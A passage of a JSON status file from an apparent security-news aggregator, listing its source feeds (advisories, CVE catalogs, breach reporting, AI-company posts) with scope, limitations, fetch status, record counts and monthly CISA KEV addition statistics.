coverage.","updateCadenceMinutes":5,"freshnessWindowMinutes":15,"retentionDays":180,"maxRetainedRecords":2000,"optional":false,"partial":true,"processedCount":0,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"pagesFetched":3,"maxPages":3,"pageSize":100,"furtherPagesNotRequested":true,"eligibleIncomingRecords":283}},{"id":"jpcert","name":"JPCERT/CC Japan Advisories","url":"https://www.jpcert.or.jp/","feedUrl":"https://www.jpcert.or.jp/rss/jpcert.rdf","category":"advisories","status":"live","lastAttemptAt":"2026-10-26T18:40:55.462Z","lastSuccessAt":"2026-10-26T18:40:55.873Z","lastError":null,"recordCount":32,"scope":"Current Japanese-language alerts and weekly report entries, with the exact article or weekly-report anchor.","limitations":"RSS usually supplies only a Japanese title and date. Titles matching JPCERT/CC's fixed patterns are shown in English via a deterministic glossary translation with the original Japanese retained; unmatched titles stay in Japanese rather than being guessed. No affected-version detail is invented. Japan denotes this advisory audience, not a scan or proof of exposure. Up to 500 records are retained for 365 days.","updateCadenceMinutes":15,"freshnessWindowMinutes":30,"retentionDays":365,"maxRetainedRecords":500,"optional":false,"partial":false,"processedCount":32,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":30,"excludedByTopic":0,"eligibleIncomingRecords":32}},{"id":"project-zero","name":"Google Project Zero Research","url":"https://projectzero.google/","feedUrl":"https://projectzero.google/feed.xml","category":"research","status":"live","lastAttemptAt":"2026-10-26T18:35:55.322Z","lastSuccessAt":"2026-10-26T18:35:57.768Z","lastError":null,"recordCount":10,"scope":"Security-research entries in the official Atom feed, including explicit AI-defense research when present; no archive crawling.","limitations":"The official feed is large but contains a bounded current entry list. Excerpts are not full articles. Ordinary fuzzing, automation, and exploit research are not classified as AI. Up to 250 records are retained for 730 days.","updateCadenceMinutes":60,"freshnessWindowMinutes":120,"retentionDays":730,"maxRetainedRecords":250,"optional":false,"partial":false,"processedCount":10,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":10,"excludedByTopic":0,"eligibleIncomingRecords":10}},{"id":"google-security","name":"Google Security Research","url":"https://security.googleblog.com/","feedUrl":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","category":"research","status":"live","lastAttemptAt":"2026-10-26T18:35:55.322Z","lastSuccessAt":"2026-10-26T18:35:57.804Z","lastError":null,"recordCount":47,"scope":"At most the 50 entries supplied by the official Google Security RSS endpoint; security-topic filtering and conservative, source-linked AI classifications.","limitations":"Not all Google research or all AI defense. Product security and prompt-injection research do not establish attacker AI use. Excerpts are not independently reproduced findings. Up to 250 records are retained for 730 days.","updateCadenceMinutes":60,"freshnessWindowMinutes":120,"retentionDays":730,"maxRetainedRecords":250,"optional":false,"partial":false,"processedCount":50,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":50,"excludedByTopic":0,"eligibleIncomingRecords":47}},{"id":"nvd-recent","name":"NVD Recently Published CVEs","url":"https://nvd.nist.gov/vuln/search","feedUrl":"https://services.nvd.nist.gov/rest/json/cves/2.0","category":"catalog","status":"live","lastAttemptAt":"2026-10-26T18:20:57.477Z","lastSuccessAt":"2026-10-26T18:21:53.012Z","lastError":null,"recordCount":5738,"scope":"Every CVE in the NVD, from any vendor worldwide, that any scorer (the vendor/CNA, NVD, or CISA) rates HIGH or CRITICAL, or that CISA's assessment reports as actively exploited. A 14-day backfill on first run, then every CVE modified since the last successful retrieval.","limitations":"Medium and low severity CVEs are not ingested; unscored CVEs appear once scored. The CNA (vendor) score is preferred over NVD's own when both exist. NVD publication is not evidence of exploitation. Up to 6,000 records are retained for 120 days.","updateCadenceMinutes":30,"freshnessWindowMinutes":60,"retentionDays":120,"maxRetainedRecords":6000,"optional":false,"partial":false,"processedCount":542,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"mode":"modified-since-last-success","windowStart":"2026-10-26T16:51:02.326Z","cvesInWindow":958,"pages":2,"keptHighOrCritical":542,"skippedBelowHighOrUnscored":416,"skippedWithdrawnByNvd":0,"eligibleIncomingRecords":542}},{"id":"breach-reporting","name":"BleepingComputer Security Reporting","url":"https://www.bleepingcomputer.com/","feedUrl":"https://www.bleepingcomputer.com/feed/","category":"reporting","status":"unavailable","lastAttemptAt":"2026-10-26T17:55:56.219Z","lastSuccessAt":null,"lastError":"Public source returned an error. (HTTP 403)","recordCount":0,"scope":"Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links.","limitations":"Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days.","updateCadenceMinutes":5,"freshnessWindowMinutes":15,"retentionDays":90,"maxRetainedRecords":500,"optional":false,"partial":true,"processedCount":0,"rejectedCount":0,"nextRetryAt":"2026-10-26T19:55:57.312Z","cacheError":null,"coverage":{}},{"id":"thehackernews","name":"The Hacker News","url":"https://thehackernews.com/","feedUrl":"https://feeds.feedburner.com/TheHackersNews","category":"reporting","status":"live","lastAttemptAt":"2026-10-26T18:50:55.505Z","lastSuccessAt":"2026-10-26T18:50:55.718Z","lastError":null,"recordCount":30,"scope":"Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links.","limitations":"Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days.","updateCadenceMinutes":5,"freshnessWindowMinutes":15,"retentionDays":90,"maxRetainedRecords":1000,"optional":false,"partial":false,"processedCount":30,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":50,"excludedByTopic":21,"eligibleIncomingRecords":28}},{"id":"securityweek","name":"SecurityWeek","url":"https://www.securityweek.com/","feedUrl":"https://www.securityweek.com/feed/","category":"reporting","status":"live","lastAttemptAt":"2026-10-26T18:50:55.505Z","lastSuccessAt":"2026-10-26T18:50:55.667Z","lastError":null,"recordCount":6,"scope":"Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links.","limitations":"Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days.","updateCadenceMinutes":15,"freshnessWindowMinutes":30,"retentionDays":90,"maxRetainedRecords":500,"optional":false,"partial":false,"processedCount":4,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":10,"excludedByTopic":6,"eligibleIncomingRecords":4}},{"id":"helpnetsecurity","name":"Help Net Security","url":"https://www.helpnetsecurity.com/","feedUrl":"https://www.helpnetsecurity.com/feed/","category":"reporting","status":"live","lastAttemptAt":"2026-10-26T18:45:56.766Z","lastSuccessAt":"2026-10-26T18:45:58.962Z","lastError":null,"recordCount":1,"scope":"Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links.","limitations":"Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days.","updateCadenceMinutes":15,"freshnessWindowMinutes":30,"retentionDays":90,"maxRetainedRecords":500,"optional":false,"partial":false,"processedCount":1,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":10,"excludedByTopic":9,"eligibleIncomingRecords":1}},{"id":"therecord","name":"The Record (Recorded Future News)","url":"https://therecord.media/","feedUrl":"https://therecord.media/feed","category":"reporting","status":"cached","lastAttemptAt":"2026-10-26T16:50:55.493Z","lastSuccessAt":"2026-10-26T14:15:57.066Z","lastError":"Syndication returned no eligible validated records; HTTP success was not ingestion success.","recordCount":1,"scope":"Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links.","limitations":"Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days.","updateCadenceMinutes":15,"freshnessWindowMinutes":30,"retentionDays":90,"maxRetainedRecords":500,"optional":false,"partial":true,"processedCount":0,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":5,"excludedByTopic":4,"eligibleIncomingRecords":1}},{"id":"axios","name":"Axios","url":"https://www.axios.com/","feedUrl":"https://api.axios.com/feed/","category":"news","status":"live","lastAttemptAt":"2026-10-26T18:50:55.505Z","lastSuccessAt":"2026-10-26T18:50:55.667Z","lastError":null,"recordCount":3,"scope":"General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped.","limitations":"Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so.","updateCadenceMinutes":15,"freshnessWindowMinutes":30,"retentionDays":90,"maxRetainedRecords":500,"optional":false,"partial":false,"processedCount":3,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":100,"excludedByTopic":97,"eligibleIncomingRecords":3}},{"id":"techcrunch","name":"TechCrunch Security","url":"https://techcrunch.com/category/security/","feedUrl":"https://techcrunch.com/category/security/feed/","category":"news","status":"live","lastAttemptAt":"2026-10-26T18:50:55.505Z","lastSuccessAt":"2026-10-26T18:50:55.649Z","lastError":null,"recordCount":3,"scope":"General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped.","limitations":"Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so.","updateCadenceMinutes":15,"freshnessWindowMinutes":30,"retentionDays":90,"maxRetainedRecords":500,"optional":false,"partial":false,"processedCount":3,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":20,"excludedByTopic":17,"eligibleIncomingRecords":3}},{"id":"wired","name":"WIRED Security","url":"https://www.wired.com/category/security/","feedUrl":"https://www.wired.com/feed/category/security/latest/rss","category":"news","status":"live","lastAttemptAt":"2026-10-26T18:50:55.505Z","lastSuccessAt":"2026-10-26T18:50:55.667Z","lastError":null,"recordCount":5,"scope":"General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped.","limitations":"Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so.","updateCadenceMinutes":15,"freshnessWindowMinutes":30,"retentionDays":90,"maxRetainedRecords":500,"optional":false,"partial":false,"processedCount":5,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":20,"excludedByTopic":15,"eligibleIncomingRecords":5}},{"id":"theverge","name":"The Verge (AI)","url":"https://www.theverge.com/ai-artificial-intelligence","feedUrl":"https://www.theverge.com/rss/ai-artificial-intelligence/index.xml","category":"news","status":"live","lastAttemptAt":"2026-10-26T18:50:55.505Z","lastSuccessAt":"2026-10-26T18:50:55.667Z","lastError":null,"recordCount":0,"scope":"General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped.","limitations":"Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so.","updateCadenceMinutes":15,"freshnessWindowMinutes":30,"retentionDays":90,"maxRetainedRecords":500,"optional":false,"partial":false,"processedCount":0,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":10,"excludedByTopic":10,"eligibleIncomingRecords":0}},{"id":"media404","name":"404 Media","url":"https://www.404media.co/","feedUrl":"https://www.404media.co/rss/","category":"news","status":"live","lastAttemptAt":"2026-10-26T18:50:55.505Z","lastSuccessAt":"2026-10-26T18:50:55.718Z","lastError":null,"recordCount":0,"scope":"General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped.","limitations":"Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so.","updateCadenceMinutes":15,"freshnessWindowMinutes":30,"retentionDays":90,"maxRetainedRecords":500,"optional":false,"partial":false,"processedCount":0,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":15,"excludedByTopic":15,"eligibleIncomingRecords":0}},{"id":"hibp","name":"Have I Been Pwned","url":"https://haveibeenpwned.com/PwnedWebsites","feedUrl":"https://haveibeenpwned.com/api/v3/breaches","category":"catalog","status":"live","lastAttemptAt":"2026-10-26T18:25:55.448Z","lastSuccessAt":"2026-10-26T18:25:57.041Z","lastError":null,"recordCount":121,"scope":"Breaches loaded into Have I Been Pwned in the last year: breached organization, account count, exposed data types, breach and load dates, and the organization's disclosure when HIBP links one.","limitations":"HIBP covers breaches whose data it obtained and loaded; many breaches never appear there. Counts are accounts in the loaded data, not necessarily people. Unverified breaches are labeled as such; fabricated, spam-list, retired, and sensitive breaches are skipped. Up to 400 records are retained for 365 days.","updateCadenceMinutes":60,"freshnessWindowMinutes":120,"retentionDays":365,"maxRetainedRecords":400,"optional":false,"partial":false,"processedCount":121,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"breachesInWindow":121,"skippedFabricatedSpamRetiredOrSensitive":926,"eligibleIncomingRecords":121}},{"id":"databreaches","name":"DataBreaches.net","url":"https://databreaches.net/","feedUrl":"https://databreaches.net/feed/","category":"reporting","status":"live","lastAttemptAt":"2026-10-26T18:40:55.462Z","lastSuccessAt":"2026-10-26T18:40:55.873Z","lastError":null,"recordCount":5,"scope":"Breach and incident reporting selected from the current syndication feed, with exact article links.","limitations":"Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days.","updateCadenceMinutes":15,"freshnessWindowMinutes":30,"retentionDays":90,"maxRetainedRecords":500,"optional":false,"partial":false,"processedCount":5,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":10,"excludedByTopic":5,"eligibleIncomingRecords":5}},{"id":"hipaajournal","name":"The HIPAA Journal","url":"https://www.hipaajournal.com/","feedUrl":"https://www.hipaajournal.com/feed/","category":"reporting","status":"live","lastAttemptAt":"2026-10-26T18:25:55.448Z","lastSuccessAt":"2026-10-26T18:25:57.095Z","lastError":null,"recordCount":7,"scope":"Healthcare breach and security reporting selected from the current feed; compliance guides and opinion are skipped.","limitations":"Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days.","updateCadenceMinutes":30,"freshnessWindowMinutes":60,"retentionDays":90,"maxRetainedRecords":500,"optional":false,"partial":false,"processedCount":7,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":10,"excludedByTopic":3,"eligibleIncomingRecords":7}},{"id":"anthropic","name":"Anthropic","url":"https://www.anthropic.com/news","feedUrl":"https://www.anthropic.com/sitemap.xml","category":"ai-company","status":"live","lastAttemptAt":"2026-10-26T18:25:55.448Z","lastSuccessAt":"2026-10-26T18:25:59.739Z","lastError":null,"recordCount":1,"scope":"Anthropic news posts about misuse, threats, safety, and security, found through its sitemap (it publishes no feed); at most 8 new pages are read per run.","limitations":"The company's own disclosure about its systems or threats it observed: authoritative for what the company says, not independent verification. Only posts about misuse, threats, safety, or security are kept. Retained for 730 days.","updateCadenceMinutes":60,"freshnessWindowMinutes":120,"retentionDays":730,"maxRetainedRecords":200,"optional":false,"partial":false,"processedCount":1,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"topicalPostsListed":8,"pagesReadThisRun":8,"excludedByTopic":7,"maxPagesPerRun":8,"eligibleIncomingRecords":1}},{"id":"openai","name":"OpenAI","url":"https://openai.com/news/","feedUrl":"https://openai.com/news/rss.xml","category":"ai-company","status":"live","lastAttemptAt":"2026-10-26T18:25:55.448Z","lastSuccessAt":"2026-10-26T18:25:55.704Z","lastError":null,"recordCount":61,"scope":"OpenAI news posts about misuse, threats, safety, and security; product and business posts are skipped.","limitations":"The company's own disclosure about its systems or threats it observed: authoritative for what the company says, not independent verification. Only posts about misuse, threats, safety, or security are kept. Retained for 730 days.","updateCadenceMinutes":30,"freshnessWindowMinutes":60,"retentionDays":730,"maxRetainedRecords":200,"optional":false,"partial":false,"processedCount":85,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":1320,"excludedByTopic":1235,"eligibleIncomingRecords":61}},{"id":"deepmind","name":"Google DeepMind","url":"https://deepmind.google/blog/","feedUrl":"https://deepmind.google/blog/rss.xml","category":"ai-company","status":"live","lastAttemptAt":"2026-10-26T18:25:55.448Z","lastSuccessAt":"2026-10-26T18:25:55.704Z","lastError":null,"recordCount":1,"scope":"Google DeepMind blog posts about misuse, threats, safety, and security; product and research-only posts are skipped.","limitations":"The company's own disclosure about its systems or threats it observed: authoritative for what the company says, not independent verification. Only posts about misuse, threats, safety, or security are kept. Retained for 730 days.","updateCadenceMinutes":60,"freshnessWindowMinutes":120,"retentionDays":730,"maxRetainedRecords":200,"optional":false,"partial":false,"processedCount":1,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":100,"excludedByTopic":99,"eligibleIncomingRecords":1}},{"id":"microsoft-security","name":"Microsoft Security blog","url":"https://www.microsoft.com/en-us/security/blog/","feedUrl":"https://www.microsoft.com/en-us/security/blog/feed/","category":"ai-company","status":"live","lastAttemptAt":"2026-10-26T18:50:55.505Z","lastSuccessAt":"2026-10-26T18:50:59.031Z","lastError":"1 malformed upstream records were excluded.","recordCount":4,"scope":"Microsoft Threat Intelligence and security posts: vulnerabilities, threat actors, and AI misuse it observed.","limitations":"The publishing company's own reporting about threats it observed; not independently confirmed here. Marketing posts are skipped. Up to 300 records are retained for 365 days.","updateCadenceMinutes":30,"freshnessWindowMinutes":60,"retentionDays":365,"maxRetainedRecords":300,"optional":false,"partial":true,"processedCount":4,"rejectedCount":1,"nextRetryAt":"2026-10-26T18:55:59.031Z","cacheError":null,"coverage":{"feedEntries":10,"excludedByTopic":5,"eligibleIncomingRecords":4}},{"id":"aiid","name":"AI Incident Database","url":"https://incidentdatabase.ai/","feedUrl":"https://incidentdatabase.ai/rss.xml","category":"ai-incidents","status":"live","lastAttemptAt":"2026-10-26T18:45:56.766Z","lastSuccessAt":"2026-10-26T18:46:59.993Z","lastError":null,"recordCount":49,"scope":"Reports newly added to the AI Incident Database (Responsible AI Collaborative) that concern security or misuse (deepfakes, scams, influence operations, attacks on or by AI, unauthorized actions), each linking to the original report on its publisher's site. Vehicle crashes, lawsuits, bias, errors, and other non-security harms are skipped; non-English reports usually are too, because the filter reads English.","limitations":"Inclusion in the database means an editor judged it an AI incident; it is not an independent investigation. The linked report is the evidence. An AI role is assigned only when the report title states it. Up to 500 records are retained for 365 days.","updateCadenceMinutes":60,"freshnessWindowMinutes":120,"retentionDays":365,"maxRetainedRecords":500,"optional":false,"partial":false,"processedCount":49,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"feedEntries":100,"excludedByTopic":51,"eligibleIncomingRecords":49}},{"id":"first-epss","name":"FIRST EPSS","url":"https://www.first.org/epss/","feedUrl":"https://api.first.org/data/v1/epss","category":"enrichment","status":"live","lastAttemptAt":"2026-10-26T13:40:05.166Z","lastSuccessAt":"2026-10-26T13:40:30.430Z","lastError":null,"recordCount":6700,"scope":"Measured EPSS rows for real CVE identifiers already in this corpus; batches of at most 80 identifiers and under 1,900 CVE-query characters.","limitations":"Daily model scores estimate exploitation in the following 30 days, not organizational exposure. Missing CVEs receive no default score. Exact scoring dates and per-CVE/date API evidence are retained for 30 days; scores older than 2 days are stale even if a retrieval succeeds.","updateCadenceMinutes":360,"freshnessWindowMinutes":720,"retentionDays":30,"maxRetainedRecords":30000,"optional":false,"partial":false,"processedCount":6700,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"queriedCves":6798,"validatedScores":6700,"batches":85,"completedBatches":85,"unscoredCves":98,"eligibleIncomingRecords":6700},"scoresAsOf":"2026-10-25","oldestScoreDate":"2026-10-25","staleScoreCount":0,"scoreFreshnessDays":2},{"id":"cve-cna","name":"CVE Program CVSS Enrichment","url":"https://www.cve.org/","feedUrl":"https://cveawg.mitre.org/api/cve/","category":"enrichment","status":"live","lastAttemptAt":"2026-10-26T18:41:00.745Z","lastSuccessAt":"2026-10-26T18:41:03.388Z","lastError":"1 targeted CNA requests failed. Public source returned an error. (HTTP 404)","recordCount":140,"scope":"At most 8 published per-CVE documents per cycle, one request at a time, for missing CVSS or an editorial CVE-API measurement not yet rechecked; no NVD polling.","limitations":"Targeted enrichment, not full CVE coverage. CNA CVSS is preferred; if absent, an explicitly labeled public ADP assessment can supply the actual metric and authoritative source update date. A document with no usable CVSS is not a metric-ingestion success. Unscored targets are deferred for 24 hours. Up to 4,000 enrichments are retained for 30 days.","updateCadenceMinutes":15,"freshnessWindowMinutes":30,"retentionDays":30,"maxRetainedRecords":4000,"optional":true,"partial":true,"processedCount":7,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"targetedCves":8,"documentsChecked":7,"validatedCvss":7,"maxRequestsPerCycle":8,"eligibleIncomingRecords":7}}],"stats":{"totalRecords":8060,"knownExploited":1763,"aiRecords":132,"countsByKind":{"vulnerability":7717,"breach":138,"ai-research":33,"advisory":77,"ai-incident":95},"countsByRegion":{"Global":8029,"Japan":39},"aiRoles":{"unknown":7957,"infrastructure":13,"defense":26,"offense":56,"autonomous":8}},"trends":{"kevByMonth":[{"month":"2021-11","count":291},{"month":"2021-12","count":20},{"month":"2022-01","count":40},{"month":"2022-02","count":32},{"month":"2022-03","count":226},{"month":"2022-04","count":45},{"month":"2022-05","count":83},{"month":"2022-06","count":48},{"month":"2022-07","count":3},{"month":"2022-08","count":23},{"month":"2022-09","count":24},{"month":"2022-10","count":12},{"month":"2022-11","count":10},{"month":"2022-12","count":9},{"month":"2023-01","count":5},{"month":"2023-02","count":14},{"month":"2023-03","count":18},{"month":"2023-04","count":17},{"month":"2023-05","count":19},{"month":"2023-06","count":24},{"month":"2023-07","count":16},{"month":"2023-08","count":8},{"month":"2023-09","count":19},{"month":"2023-10","count":18},{"month":"2023-11","count":18},{"month":"2023-12","count":11},{"month":"2024-01","count":21},{"month":"2024-02","count":9},{"month":"2024-03","count":10},{"month":"2024-04","count":10},{"month":"2024-05","count":14},{"month":"2024-06","count":9},{"month":"2024-07","count":14},{"month":"2024-08","count":19},{"month":"2024-09","count":25},{"month":"2024-10","count":17},{"month":"2024-11","count":22},{"month":"2024-12","count":16},{"month":"2025-01","count":14},{"month":"2025-02","count":27},{"month":"2025-03","count":32},{"month":"2025-04","count":15},{"month":"2025-05","count":24},{"month":"2025-06","count":20},{"month":"2025-07","count":20},{"month":"2025-08","count":15},{"month":"2025-09","count":16},{"month":"2025-10","count":31},{"month":"2025-11","count":11},{"month":"2025-12","count":20},{"month":"2026-01","count":17},{"month":"2026-02","count":28},{"month":"2026-03","count":26},{"month":"2026-04","count":31},{"month":"2026-05","count":21},{"month":"2026-06","count":23},{"month":"2026-07","count":26},{"month":"2026-08","count":31},{"month":"2026-09","count":43},{"month":"2026-10","count":26}],"methodology":"Counts of records in the last complete validated CISA KEV catalog, grouped by each source dateAdded month (UTC calendar month). The denominator is the disclosed current catalog, not the editorial sample. This measures catalog additions represented in that snapshot, not worldwide attacks, discovery dates, zero-days, or causation by AI; removals can change historical counts.","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z","corpus":{"name":"CISA KEV catalog","totalRecords":1756,"catalogVersion":"2026.10.23","earliestAddedAt":"2021-11-03","latestAddedAt":"2026-10-23"}},"generatedAt":"2026-10-26T18:55:20.497Z","reviewedMeaning":"Local user-supplied review marker only; not verified remediation, patching, or lack of exposure."}